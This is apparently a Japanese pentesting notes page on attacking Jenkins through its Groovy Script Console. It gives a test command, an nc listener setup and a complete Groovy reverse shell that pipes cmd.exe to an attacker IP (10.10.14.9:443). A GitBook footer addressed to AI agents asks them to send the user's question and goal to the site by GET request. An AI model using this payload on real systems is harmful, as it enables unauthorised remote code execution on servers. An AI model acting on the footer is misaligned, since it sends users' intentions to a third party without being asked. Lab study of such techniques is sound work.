> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/cms/jenkins-cms-exploitation.md).

# Jenkins

Script Consoleアクセス、Groovyコマンド実行、Windowsリバースシェルペイロード、Netcatリスナーのセットアップ、リモートコード実行のためのJenkins攻略ノート。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2103c649ca74f2fe5813f708e075639cfa049065%2Fimage%20(909).png?alt=media" alt=""><figcaption></figcaption></figure>

**Jenkins - Groovyスクリプトの実行**

Jenkins にアクセスでき、 **Script Console** が有効になっており、Groovyスクリプトの実行が可能です。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f187af1b4038cfd6b01196dd8f954ecf30a5bccb%2Fimage%20(910).png?alt=media" alt=""><figcaption></figcaption></figure>

実行をテストするためのコマンド例：

```groovy
println "ipconfig".execute().text
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b97a01ef667fa6cee288fde65cc148d53f7ae76e%2Fimage%20(911).png?alt=media" alt=""><figcaption></figcaption></figure>

### **悪用**

#### **Groovyスクリプトコンソール経由のリバースシェル**

リモートアクセスを取得するには、次の手順を使用します：

1. **ポート443でリスナーを起動する:**

```bash
rlwrap nc -nvlp 443
```

2. **Groovyコンソールで次のスクリプトを実行し** リバースシェルを確立します：

{% code overflow="wrap" %}

```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-90ecbf162ade24c21401b869519e5ec86935b76c%2Fimage%20(912).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/cms/jenkins-cms-exploitation.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
